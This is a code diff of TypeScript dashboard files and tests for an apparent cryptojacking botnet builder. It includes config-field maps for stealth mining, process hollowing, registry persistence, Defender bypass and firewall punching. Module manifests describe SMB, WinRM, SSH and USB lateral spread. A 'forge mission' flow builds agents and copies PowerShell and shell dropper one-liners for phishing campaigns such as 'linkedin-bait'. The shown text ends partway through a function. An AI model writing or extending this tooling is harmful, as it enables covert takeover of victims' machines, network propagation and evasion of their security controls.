|
||||
it('covers top forge spread fields', () => {
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
|
||||
});
|
||||
|
||||
it('every HelpTip field has a wiki anchor', () => {
|
||||
for (const field of HELP_TIP_FIELDS) {
|
||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('covers newly added forge scheduling and fusion anchors', () => {
|
||||
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
|
||||
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');
|
||||
expect(DOC_ANCHORS.sign_tool_path).toBe('/docs/#forge');
|
||||
expect(DOC_ANCHORS.schedule_start).toBe('/docs/#agent');
|
||||
});
|
||||
});
|
||||
86
server/web/src/help/docAnchors.ts
Normal file
86
server/web/src/help/docAnchors.ts
Normal file
@@ -0,0 +1,86 @@
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#dashboard',
|
||||
calibrate_quick_setup: '/docs/#quick-start',
|
||||
public_url: '/docs/#quick-start',
|
||||
cloudflare_tunnel_token: '/docs/#dashboard',
|
||||
open_firewall_on_start: '/docs/#security-auth',
|
||||
obfuscate_default: '/docs/#forge',
|
||||
sign_enabled: '/docs/#forge',
|
||||
sign_cert_thumbprint: '/docs/#forge',
|
||||
sign_timestamp_url: '/docs/#forge',
|
||||
|
||||
// Forge — core
|
||||
worker_name: '/docs/#forge',
|
||||
server_url: '/docs/#quick-start',
|
||||
wallet: '/docs/#mining',
|
||||
pool_pass: '/docs/#mining',
|
||||
target_os: '/docs/#forge',
|
||||
target_arch: '/docs/#forge',
|
||||
output_dir: '/docs/#forge',
|
||||
thread_mode: '/docs/#forge',
|
||||
thread_percent: '/docs/#forge-stealth',
|
||||
threads: '/docs/#forge-stealth',
|
||||
cpu_priority: '/docs/#forge-stealth',
|
||||
max_cpu_usage_pct: '/docs/#agent',
|
||||
max_memory_percent: '/docs/#forge-stealth',
|
||||
min_free_ram_mb: '/docs/#forge-stealth',
|
||||
mining_mode: '/docs/#forge-stealth',
|
||||
idle_threshold_pct: '/docs/#forge-stealth',
|
||||
idle_duration_minutes: '/docs/#forge-stealth',
|
||||
schedule_start: '/docs/#agent',
|
||||
schedule_end: '/docs/#agent',
|
||||
install_base: '/docs/#forge-stealth',
|
||||
install_custom_base: '/docs/#forge-stealth',
|
||||
install_relative_path: '/docs/#forge-stealth',
|
||||
adapt_to_hardware: '/docs/#forge-stealth',
|
||||
process_hollowing: '/docs/#forge-stealth',
|
||||
file_logging: '/docs/#agent',
|
||||
process_name: '/docs/#forge-stealth',
|
||||
display_mode: '/docs/#forge-stealth',
|
||||
run_as: '/docs/#agent',
|
||||
host_binary_target: '/docs/#forge-stealth',
|
||||
auto_start: '/docs/#agent',
|
||||
autostart_mode: '/docs/#agent',
|
||||
registry_persistence: '/docs/#agent',
|
||||
registry_run_hkcu: '/docs/#agent',
|
||||
registry_run_once: '/docs/#agent',
|
||||
registry_run_hklm: '/docs/#agent',
|
||||
registry_explorer_run: '/docs/#agent',
|
||||
fusion_media_mode: '/docs/#forge',
|
||||
fusion_batch: '/docs/#forge',
|
||||
fusion_run_order: '/docs/#forge',
|
||||
fusion_output_name: '/docs/#forge',
|
||||
sign_tool_path: '/docs/#forge',
|
||||
stealth_mode: '/docs/#forge-stealth',
|
||||
self_healing: '/docs/#forge-stealth',
|
||||
persistence: '/docs/#agent',
|
||||
fusion_enabled: '/docs/#forge',
|
||||
fusion_prep: '/docs/#forge',
|
||||
obfuscate: '/docs/#forge',
|
||||
sign_build: '/docs/#forge',
|
||||
sigil_scramble: '/docs/#forge',
|
||||
https_beacon_fallback: '/docs/#agent',
|
||||
|
||||
// Forge — spread & ops
|
||||
usb_spread: '/docs/#spread-campaigns',
|
||||
share_spread: '/docs/#spread-campaigns',
|
||||
auto_spread: '/docs/#spread-campaigns',
|
||||
remote_aggressive: '/docs/#dashboard',
|
||||
mesh_p2p: '/docs/#agent',
|
||||
hole_punch: '/docs/#agent',
|
||||
|
||||
// AI
|
||||
ai_enabled: '/docs/#alerts-ai',
|
||||
ai_ollama_endpoint: '/docs/#alerts-ai',
|
||||
ai_model: '/docs/#alerts-ai',
|
||||
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#agent',
|
||||
firewall_exclusion: '/docs/#agent',
|
||||
};
|
||||
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
return DOC_ANCHORS[field];
|
||||
}
|
||||
67
server/web/src/help/fleetHeatMap.test.ts
Normal file
67
server/web/src/help/fleetHeatMap.test.ts
Normal file
@@ -0,0 +1,67 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import type { FleetGroup } from './fleetGroups';
|
||||
import {
|
||||
groupClusterCenter,
|
||||
hashrateSpiked,
|
||||
hashPosition,
|
||||
layoutAgentPoints,
|
||||
layoutComradePoints,
|
||||
} from './fleetHeatMap';
|
||||
|
||||
describe('fleetHeatMap', () => {
|
||||
it('hashPosition is stable for the same seed', () => {
|
||||
const a = hashPosition('node-alpha');
|
||||
const b = hashPosition('node-alpha');
|
||||
expect(a).toEqual(b);
|
||||
expect(a.x).toBeGreaterThanOrEqual(12);
|
||||
expect(a.y).toBeLessThanOrEqual(88);
|
||||
});
|
||||
|
||||
it('groupClusterCenter spreads clusters around the map', () => {
|
||||
const c0 = groupClusterCenter(0, 4);
|
||||
const c1 = groupClusterCenter(2, 4);
|
||||
expect(Math.hypot(c0.x - c1.x, c0.y - c1.y)).toBeGreaterThan(10);
|
||||
});
|
||||
|
||||
it('layoutAgentPoints clusters grouped agents and hashes ungrouped hosts', () => {
|
||||
const groups: FleetGroup[] = [
|
||||
{
|
||||
id: 'g1',
|
||||
name: 'Alpha',
|
||||
color: '#00f5ff',
|
||||
agentIds: ['a1', 'a2'],
|
||||
createdAt: '2026-01-01T00:00:00Z',
|
||||
},
|
||||
];
|
||||
const agents = [
|
||||
mockAgent({ id: 'a1', name: 'one', hostname: 'host-one' }),
|
||||
mockAgent({ id: 'a2', name: 'two', hostname: 'host-two' }),
|
||||
mockAgent({ id: 'a3', name: 'solo', hostname: 'solo-host' }),
|
||||
];
|
||||
const points = layoutAgentPoints(agents, groups);
|
||||
expect(points).toHaveLength(3);
|
||||
|
||||
const grouped = points.filter((p) => p.id === 'a1' || p.id === 'a2');
|
||||
const solo = points.find((p) => p.id === 'a3');
|
||||
const dist = Math.hypot(grouped[0].x - grouped[1].x, grouped[0].y - grouped[1].y);
|
||||
expect(dist).toBeLessThan(20);
|
||||
expect(solo?.color).toBeUndefined();
|
||||
|
||||
const soloAgain = layoutAgentPoints([agents[2]], groups).find((p) => p.id === 'a3');
|
||||
expect(solo).toEqual(soloAgain);
|
||||
});
|
||||
|
||||
it('layoutComradePoints uses distinct comrade kind', () => {
|
||||
const pts = layoutComradePoints(['india', 'ally']);
|
||||
expect(pts.every((p) => p.kind === 'comrade')).toBe(true);
|
||||
expect(pts[0].id).toBe('comrade:india');
|
||||
});
|
||||
|
||||
it('hashrateSpiked detects ratio and minimum delta', () => {
|
||||
expect(hashrateSpiked(undefined, 0)).toBe(false);
|
||||
expect(hashrateSpiked(undefined, 80)).toBe(true);
|
||||
expect(hashrateSpiked(100, 110)).toBe(false);
|
||||
expect(hashrateSpiked(100, 160)).toBe(true);
|
||||
});
|
||||
});
|
||||
129
server/web/src/help/fleetHeatMap.ts
Normal file
129
server/web/src/help/fleetHeatMap.ts
Normal file
@@ -0,0 +1,129 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { FleetGroup } from './fleetGroups';
|
||||
import { FLEET_GROUP_COLORS, primaryGroupForAgent } from './fleetGroups';
|
||||
|
||||
export interface MapPoint {
|
||||
id: string;
|
||||
kind: 'agent' | 'comrade';
|
||||
x: number;
|
||||
y: number;
|
||||
label: string;
|
||||
color?: string;
|
||||
online?: boolean;
|
||||
}
|
||||
|
||||
export const COMRADE_DOT_COLOR = '#ffb020';
|
||||
|
||||
export const HASHRATE_SPIKE_RATIO = 1.25;
|
||||
export const HASHRATE_SPIKE_MIN_DELTA = 50;
|
||||
|
||||
export function hashString(seed: string): number {
|
||||
let h = 0;
|
||||
for (let i = 0; i < seed.length; i++) {
|
||||
h = (h * 31 + seed.charCodeAt(i)) >>> 0;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
/** Stable pseudo-random position from a string seed (percent coords). */
|
||||
export function hashPosition(seed: string, margin = 12): { x: number; y: number } {
|
||||
const h = hashString(seed);
|
||||
const range = 100 - margin * 2;
|
||||
return {
|
||||
x: margin + ((h % 1000) / 1000) * range,
|
||||
y: margin + (((h >>> 10) % 1000) / 1000) * range,
|
||||
};
|
||||
}
|
||||
|
||||
export function groupClusterCenter(
|
||||
groupIndex: number,
|
||||
totalGroups: number,
|
||||
margin = 14,
|
||||
): { x: number; y: number } {
|
||||
const angle = (groupIndex / Math.max(totalGroups, 1)) * Math.PI * 2 - Math.PI / 2;
|
||||
const cx = 50 + Math.cos(angle) * 30;
|
||||
const cy = 50 + Math.sin(angle) * 30;
|
||||
return {
|
||||
x: Math.max(margin, Math.min(100 - margin, cx)),
|
||||
y: Math.max(margin, Math.min(100 - margin, cy)),
|
||||
};
|
||||
}
|
||||
|
||||
export function agentMapPosition(
|
||||
agent: Agent,
|
||||
group: FleetGroup | undefined,
|
||||
groupIndex: number,
|
||||
totalGroups: number,
|
||||
agentIndexInCluster: number,
|
||||
clusterSize: number,
|
||||
): { x: number; y: number } {
|
||||
const seed = agent.hostname || agent.name || agent.id;
|
||||
if (group) {
|
||||
const center = groupClusterCenter(groupIndex, totalGroups);
|
||||
const jitter = hashPosition(`${group.id}:${agent.id}`, 0);
|
||||
const spread = Math.min(9, 2.5 + clusterSize * 0.7);
|
||||
const angle = (agentIndexInCluster / Math.max(clusterSize, 1)) * Math.PI * 2;
|
||||
return {
|
||||
x: center.x + Math.cos(angle) * spread + (jitter.x - 50) * 0.06,
|
||||
y: center.y + Math.sin(angle) * spread + (jitter.y - 50) * 0.06,
|
||||
};
|
||||
}
|
||||
return hashPosition(seed);
|
||||
}
|
||||
|
||||
export function agentAccentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return FLEET_GROUP_COLORS[idx % FLEET_GROUP_COLORS.length] ?? FLEET_GROUP_COLORS[0];
|
||||
}
|
||||
|
||||
export function hashrateSpiked(prev: number | undefined, current: number): boolean {
|
||||
if (current <= 0) return false;
|
||||
if (prev === undefined || prev <= 0) return current >= HASHRATE_SPIKE_MIN_DELTA;
|
||||
const delta = current - prev;
|
||||
return delta >= HASHRATE_SPIKE_MIN_DELTA && current >= prev * HASHRATE_SPIKE_RATIO;
|
||||
}
|
||||
|
||||
export function layoutAgentPoints(agents: Agent[], groups: FleetGroup[]): MapPoint[] {
|
||||
const groupsWithAgents = groups.filter((g) => agents.some((a) => g.agentIds.includes(a.id)));
|
||||
|
||||
return agents.map((agent) => {
|
||||
const pg = primaryGroupForAgent(groups, agent.id);
|
||||
const groupIndex = pg ? groupsWithAgents.findIndex((g) => g.id === pg.id) : -1;
|
||||
const clusterAgents = pg ? agents.filter((a) => pg.agentIds.includes(a.id)) : [];
|
||||
const agentIndexInCluster = pg ? clusterAgents.findIndex((a) => a.id === agent.id) : 0;
|
||||
const pos = agentMapPosition(
|
||||
agent,
|
||||
pg,
|
||||
groupIndex >= 0 ? groupIndex : 0,
|
||||
groupsWithAgents.length || 1,
|
||||
agentIndexInCluster,
|
||||
clusterAgents.length,
|
||||
);
|
||||
|
||||
return {
|
||||
id: agent.id,
|
||||
kind: 'agent' as const,
|
||||
x: pos.x,
|
||||
y: pos.y,
|
||||
label: agent.name,
|
||||
color: pg?.color,
|
||||
online: agent.status === 'online',
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
export function layoutComradePoints(users: string[]): MapPoint[] {
|
||||
return users.map((user) => {
|
||||
const pos = hashPosition(`comrade:${user}`, 8);
|
||||
return {
|
||||
id: `comrade:${user}`,
|
||||
kind: 'comrade' as const,
|
||||
x: pos.x,
|
||||
y: pos.y,
|
||||
label: user,
|
||||
color: COMRADE_DOT_COLOR,
|
||||
online: true,
|
||||
};
|
||||
});
|
||||
}
|
||||
51
server/web/src/help/fleetModules.test.ts
Normal file
51
server/web/src/help/fleetModules.test.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
capabilitiesMatchModule,
|
||||
findFleetModule,
|
||||
moduleFeatureFlags,
|
||||
modulePushLabel,
|
||||
resolveFleetModules,
|
||||
} from './fleetModules';
|
||||
import type { FleetModuleManifest } from '../types';
|
||||
|
||||
const crucible: FleetModuleManifest = {
|
||||
name: 'crucible_ops',
|
||||
version: '1',
|
||||
display_name: 'Crucible Ops',
|
||||
features: { remote_aggressive: true },
|
||||
};
|
||||
|
||||
describe('fleetModules', () => {
|
||||
it('falls back to built-in packs when list is empty', () => {
|
||||
const list = resolveFleetModules([]);
|
||||
expect(list.map((m) => m.name)).toEqual(['crucible_ops', 'spread', 'gpu']);
|
||||
});
|
||||
|
||||
it('builds guided push label for group target', () => {
|
||||
expect(modulePushLabel(crucible, 'group', 'Alpha Squad')).toBe('Push Crucible Ops to Alpha Squad');
|
||||
});
|
||||
|
||||
it('builds guided push label for all online', () => {
|
||||
expect(modulePushLabel(crucible, 'all', undefined, 3)).toBe('Push Crucible Ops to all online (3)');
|
||||
});
|
||||
|
||||
it('lists feature flags from manifest', () => {
|
||||
expect(moduleFeatureFlags({ name: 'spread', version: '1', features: { auto_spread: true, usb_spread: true } })).toEqual([
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
]);
|
||||
});
|
||||
|
||||
it('detects when agent capabilities match a staged pack', () => {
|
||||
expect(
|
||||
capabilitiesMatchModule({ remote_aggressive: true } as import('../types').AgentCapabilities, crucible),
|
||||
).toBe(true);
|
||||
expect(
|
||||
capabilitiesMatchModule({ remote_aggressive: false } as import('../types').AgentCapabilities, crucible),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('finds pack by name', () => {
|
||||
expect(findFleetModule([], 'gpu')?.display_name).toBe('GPU Miner');
|
||||
});
|
||||
});
|
||||
109
server/web/src/help/fleetModules.ts
Normal file
109
server/web/src/help/fleetModules.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
import type { AgentCapabilities, FleetModuleManifest } from '../types';
|
||||
|
||||
/** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */
|
||||
export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [
|
||||
{
|
||||
name: 'crucible_ops',
|
||||
version: '1',
|
||||
display_name: 'Crucible Ops',
|
||||
summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender',
|
||||
description:
|
||||
'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.',
|
||||
accent: 'magenta',
|
||||
capabilities: [
|
||||
'Remote tunnels (cloudflared, SSH forward)',
|
||||
'Subnet scan & SMB share enumeration',
|
||||
'Firewall punch / disable / profile control',
|
||||
'Defender RTP bypass (Windows)',
|
||||
'On-demand spread_now trigger',
|
||||
'Credential vault & secure wipe',
|
||||
],
|
||||
features: { remote_aggressive: true },
|
||||
},
|
||||
{
|
||||
name: 'spread',
|
||||
version: '1',
|
||||
display_name: 'Spread Pack',
|
||||
summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks',
|
||||
description:
|
||||
'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.',
|
||||
accent: 'cyan',
|
||||
capabilities: [
|
||||
'SMB / WinRM auto-spread scheduler',
|
||||
'SSH lateral spread (Linux/macOS)',
|
||||
'USB removable-media propagation',
|
||||
'WMI-based passive hooks (Windows)',
|
||||
'Spread status & funnel telemetry',
|
||||
],
|
||||
features: { auto_spread: true, usb_spread: true },
|
||||
},
|
||||
{
|
||||
name: 'gpu',
|
||||
version: '1',
|
||||
display_name: 'GPU Miner',
|
||||
summary: 'KawPoW RVN GPU mining when hardware and wallet are present',
|
||||
description:
|
||||
'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.',
|
||||
accent: 'gold',
|
||||
capabilities: [
|
||||
'KawPoW RVN miner (T-Rex / TRM)',
|
||||
'GPU hashrate telemetry on dashboard',
|
||||
'Pause/resume with fleet policy',
|
||||
'Windows NVIDIA/AMD when drivers present',
|
||||
],
|
||||
features: { gpu_enabled: true },
|
||||
},
|
||||
];
|
||||
|
||||
export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] {
|
||||
if (modules.length > 0) return modules;
|
||||
return FLEET_MODULE_FALLBACKS;
|
||||
}
|
||||
|
||||
export function findFleetModule(
|
||||
modules: FleetModuleManifest[],
|
||||
name: string,
|
||||
): FleetModuleManifest | undefined {
|
||||
const list = resolveFleetModules(modules);
|
||||
return list.find((m) => m.name === name);
|
||||
}
|
||||
|
||||
export function moduleDisplayName(mod: FleetModuleManifest): string {
|
||||
return mod.display_name?.trim() || mod.name;
|
||||
}
|
||||
|
||||
/** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */
|
||||
export function modulePushLabel(
|
||||
mod: FleetModuleManifest,
|
||||
targetMode: 'all' | 'group',
|
||||
groupName?: string,
|
||||
onlineCount?: number,
|
||||
): string {
|
||||
const pack = moduleDisplayName(mod);
|
||||
if (targetMode === 'group' && groupName) {
|
||||
return `Push ${pack} to ${groupName}`;
|
||||
}
|
||||
const n = onlineCount ?? 0;
|
||||
return `Push ${pack} to all online (${n})`;
|
||||
}
|
||||
|
||||
/** Feature flags the agent applies from a pack manifest. */
|
||||
export function moduleFeatureFlags(mod: FleetModuleManifest): string[] {
|
||||
if (!mod.features) return [];
|
||||
return Object.entries(mod.features)
|
||||
.filter(([, v]) => v === true)
|
||||
.map(([k]) => k)
|
||||
.sort();
|
||||
}
|
||||
|
||||
/** Returns true when agent capabilities reflect at least one flag from the pack. */
|
||||
export function capabilitiesMatchModule(
|
||||
caps: AgentCapabilities | undefined,
|
||||
mod: FleetModuleManifest,
|
||||
): boolean {
|
||||
if (!caps || !mod.features) return false;
|
||||
return Object.entries(mod.features).some(([key, want]) => {
|
||||
if (want !== true) return false;
|
||||
return Boolean((caps as unknown as Record<string, boolean | undefined>)[key]);
|
||||
});
|
||||
}
|
||||
139
server/web/src/help/forgeMission.test.ts
Normal file
139
server/web/src/help/forgeMission.test.ts
Normal file
@@ -0,0 +1,139 @@
|
||||
import { describe, it, expect, vi } from 'vitest';
|
||||
import type { BuildRequest, BuildResponse } from '../types';
|
||||
import {
|
||||
applyMissionPresets,
|
||||
buildMissionLinks,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionApi,
|
||||
} from './forgeMission';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.50:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'mission-worker',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
stealth_mode: false,
|
||||
spread_kit: false,
|
||||
fusion_enabled: false,
|
||||
}) as BuildRequest;
|
||||
|
||||
const okBuild = (overrides: Partial<BuildResponse> = {}): BuildResponse => ({
|
||||
success: true,
|
||||
build_id: 'build-abc-123',
|
||||
file_name: 'worker.exe',
|
||||
file_size: 1024,
|
||||
download_url: '/api/v1/builds/build-abc-123/download',
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe('forgeMission helpers', () => {
|
||||
it('applies operation mode then spread profile', () => {
|
||||
const next = applyMissionPresets(baseForm(), 'ghost_walk', 'lan_kindling');
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('builds dropper links with pin and campaign', () => {
|
||||
const links = buildMissionLinks('http://10.0.0.5:8989/', 'pin-1', 'wave-a');
|
||||
expect(links.ps1).toContain("install.ps1?pin=pin-1&c=wave-a");
|
||||
expect(links.sh).toContain('install.sh?pin=pin-1&c=wave-a');
|
||||
expect(links.get).toBe('http://10.0.0.5:8989/get?pin=pin-1&c=wave-a');
|
||||
expect(links.clipboardText).toContain(links.ps1);
|
||||
expect(links.clipboardText).toContain(links.sh);
|
||||
expect(links.clipboardText).toContain(links.get);
|
||||
});
|
||||
|
||||
it('tracks mission step status including skipped export', () => {
|
||||
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
||||
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
||||
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
|
||||
expect(missionStepStatus('copy', 'done', false)).toBe('done');
|
||||
});
|
||||
|
||||
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
||||
const api: MissionApi = { buildAgent, exportSpreadKit };
|
||||
const steps: string[] = [];
|
||||
|
||||
const result = await runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'wildfire',
|
||||
spreadProfile: 'lan_kindling',
|
||||
campaign: 'linkedin-bait',
|
||||
serverBase: 'http://192.168.1.50:8989',
|
||||
api,
|
||||
onStep: (s) => steps.push(s),
|
||||
cancelToken: 'tok-1',
|
||||
});
|
||||
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
|
||||
expect(buildAgent).toHaveBeenCalledOnce();
|
||||
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
||||
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
||||
expect(exportSpreadKit).toHaveBeenCalledWith({
|
||||
build_id: 'build-abc-123',
|
||||
server_url: 'http://192.168.1.50:8989',
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
expect(result.exportSkipped).toBe(false);
|
||||
expect(result.links.ps1).toContain('build-abc-123');
|
||||
});
|
||||
|
||||
it('skips export when spread_kit is false after presets', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn();
|
||||
const steps: string[] = [];
|
||||
|
||||
const result = await runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'open_flame',
|
||||
spreadProfile: '',
|
||||
campaign: '',
|
||||
serverBase: 'http://host:8989',
|
||||
api: { buildAgent, exportSpreadKit },
|
||||
onStep: (s) => steps.push(s),
|
||||
});
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
|
||||
expect(result.exportSkipped).toBe(true);
|
||||
});
|
||||
|
||||
it('throws on failed build without exporting', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue({
|
||||
success: false,
|
||||
error: 'garble OOM',
|
||||
} satisfies BuildResponse);
|
||||
const exportSpreadKit = vi.fn();
|
||||
|
||||
await expect(
|
||||
runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'ghost_walk',
|
||||
spreadProfile: 'lan_kindling',
|
||||
campaign: 'x',
|
||||
serverBase: 'http://host',
|
||||
api: { buildAgent, exportSpreadKit },
|
||||
}),
|
||||
).rejects.toThrow('garble OOM');
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('copyMissionLinks writes combined text', async () => {
|
||||
const writeText = vi.fn().mockResolvedValue(undefined);
|
||||
vi.stubGlobal('navigator', { clipboard: { writeText } });
|
||||
|
||||
const links = buildMissionLinks('http://h', 'b1', 'c1');
|
||||
await copyMissionLinks(links);
|
||||
expect(writeText).toHaveBeenCalledWith(links.clipboardText);
|
||||
});
|
||||
});
|
||||
155
server/web/src/help/forgeMission.ts
Normal file
155
server/web/src/help/forgeMission.ts
Normal file
@@ -0,0 +1,155 @@
|
||||
import type { BuildRequest, BuildResponse } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
|
||||
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
getUrl,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
} from './emberwake';
|
||||
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||
|
||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||
configure: 'Configure',
|
||||
forge: 'Forge',
|
||||
export: 'Export',
|
||||
copy: 'Copy',
|
||||
};
|
||||
|
||||
export interface MissionLinks {
|
||||
ps1: string;
|
||||
sh: string;
|
||||
get: string;
|
||||
clipboardText: string;
|
||||
}
|
||||
|
||||
export interface MissionResult {
|
||||
build: BuildResponse;
|
||||
links: MissionLinks;
|
||||
exportSkipped: boolean;
|
||||
}
|
||||
|
||||
export interface MissionApi {
|
||||
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
|
||||
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
|
||||
}
|
||||
|
||||
export function applyMissionPresets(
|
||||
form: BuildRequest,
|
||||
operationMode: OperationModeId,
|
||||
spreadProfile: SpreadProfileId | '',
|
||||
): BuildRequest {
|
||||
let next = applyOperationMode(form, operationMode);
|
||||
if (spreadProfile) {
|
||||
next = applySpreadProfile(next, spreadProfile);
|
||||
}
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
export function buildMissionLinks(
|
||||
serverBase: string,
|
||||
buildId: string,
|
||||
campaign: string,
|
||||
): MissionLinks {
|
||||
const query = combinedDropperQuery(buildId, campaign);
|
||||
const ps1 = ps1Oneliner(serverBase, query);
|
||||
const sh = shOneliner(serverBase, query);
|
||||
const get = getUrl(serverBase, query);
|
||||
const clipboardText = [ps1, sh, get].join('\n\n');
|
||||
return { ps1, sh, get, clipboardText };
|
||||
}
|
||||
|
||||
export function missionStepIndex(step: MissionStep): number {
|
||||
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
|
||||
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
|
||||
return idx < 0 ? -1 : idx;
|
||||
}
|
||||
|
||||
export function missionStepStatus(
|
||||
step: (typeof MISSION_STEPS)[number],
|
||||
current: MissionStep,
|
||||
exportSkipped: boolean,
|
||||
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
|
||||
if (current === 'error') {
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'error';
|
||||
return 'pending';
|
||||
}
|
||||
if (step === 'export' && exportSkipped) return 'skipped';
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (curIdx < 0) return 'pending';
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
|
||||
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
|
||||
await navigator.clipboard.writeText(links.clipboardText);
|
||||
return;
|
||||
}
|
||||
throw new Error('Clipboard unavailable');
|
||||
}
|
||||
|
||||
export async function runForgeMission(opts: {
|
||||
form: BuildRequest;
|
||||
operationMode: OperationModeId;
|
||||
spreadProfile: SpreadProfileId | '';
|
||||
campaign: string;
|
||||
serverBase: string;
|
||||
fusionPrepFile?: File | null;
|
||||
api: MissionApi;
|
||||
onStep?: (step: MissionStep) => void;
|
||||
cancelToken?: string;
|
||||
}): Promise<MissionResult> {
|
||||
const {
|
||||
form,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
onStep,
|
||||
cancelToken,
|
||||
} = opts;
|
||||
|
||||
onStep?.('configure');
|
||||
const configured = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
|
||||
onStep?.('forge');
|
||||
const build = await api.buildAgent(
|
||||
{ ...configured, cancel_token: cancelToken },
|
||||
fusionPrepFile,
|
||||
);
|
||||
if (!build.success) {
|
||||
throw new Error(build.error || 'Build failed');
|
||||
}
|
||||
|
||||
const buildId = build.build_id?.trim();
|
||||
if (!buildId) {
|
||||
throw new Error('Build succeeded but no build_id returned');
|
||||
}
|
||||
|
||||
const exportSkipped = !configured.spread_kit;
|
||||
if (!exportSkipped) {
|
||||
onStep?.('export');
|
||||
await api.exportSpreadKit({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
